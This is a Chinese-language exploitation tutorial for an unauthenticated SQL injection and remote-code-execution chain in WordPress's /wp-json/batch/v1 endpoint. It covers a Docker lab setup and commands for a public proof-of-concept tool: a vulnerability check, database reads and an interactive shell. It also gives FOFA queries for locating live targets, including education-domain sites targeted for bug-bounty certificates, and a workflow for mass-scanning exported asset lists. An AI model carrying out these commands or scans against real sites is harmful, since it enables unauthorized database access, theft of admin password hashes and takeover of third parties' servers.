WordPress 内置 REST API允许开发者通过 HTTP 请求与站点进行数据交互实现前后端分离、移动应用对接及第三方服务集成。其批量请求端点/wp-json/batch/v1自5.6版本起内置用于将多个子请求打包为单次 HTTP 调用以提升性能。攻击者无需身份认证即可通过漏洞链触发数据库查询实现管理员账户信息泄露。可实现未授权 SQL 注入获取管理员密码哈希再通过破解管理员密码并利用插件安装功能可实现代码执行。影响版本WordPress 6.8.0-6.85WordPress 6.9.0 – 6.9.4WordPress 7.0.0 – 7.0.1利用条件目标系统的REST API 接口处于开启状态【WordPress 默认开启】FOFA语法appWordPressedu刷证书站也是OK的appWordPress hostedu.cn0x2 靶场环境搭建靶场下载先下载官方 WordPress 6.9.4 源码https://wordpress.org/wordpress-6.9.4.tar.gz进入wordpress文件夹在同目录新建docker-compose.yml内容如下services:web:image: wordpress:6.9.4-apacheports:- 8090:80environment:WORDPRESS_DB_HOST: dbWORDPRESS_DB_USER: wpuserWORDPRESS_DB_PASSWORD: wppassWORDPRESS_DB_NAME: wpdbvolumes:- ./:/var/www/htmldepends_on:- dbrestart: unless-stoppeddb:image: mariadb:10.6environment:MYSQL_DATABASE: wpdbMYSQL_USER: wpuserMYSQL_PASSWORD: wppassMYSQL_ROOT_PASSWORD: rootpassvolumes:- db_data:/var/lib/mysqlrestart: unless-stoppedvolumes:db_data:启动环境# 启动容器 docker-compose up -d # 给目录权限避免安装报错 docker-compose exec web chown -R www-data:www-data /var/www/html访问http://localhost:8090/0x3 漏洞利用一、poc脚本GitHub项目地址https://github.com/Icex0/wp2shell-poc1、漏洞存活检测python3 wp2shell.py check http://localhost:8090/重点关注这一行若存在说明目标存在 Batch 路由混淆行为[] VULNERABLE — batch route-confusion behavior detected.2、SQL注入漏洞python3 wp2shell.py read http://127.0.0.1:8090 --query SELECT DATABASE() python3 wp2shell.py read http://127.0.0.1:8090 --query SELECT version3、命令执行RCEpython3 wp2shell.py shell http://localhost:8090/ -i二、批量刷分FOFA语法appWordPress把相关资产导出然后使用下面这个脚本批量测试GitHub项目地址https://github.com/fullhunt/wp2shell-scan安装依赖pip3 install -r requirements.txt-u单个目标-f批量目标文件txt 一行一个 URL-o输出结果文件--check-type检测模式time-based时间盲注推荐无破坏、最稳定error-based报错盲注速度快部分站点会拦截报错--timeout请求超时时间--delay盲注休眠时长默认 3 秒批量检测命令时间盲注推荐python3 wp2shell-scan.py check -l targets.txt存在漏洞即显示下面的三、Yakit插件漏洞扫下载对应CVE漏洞的插件批量导入直接就可以看存在漏洞的资产了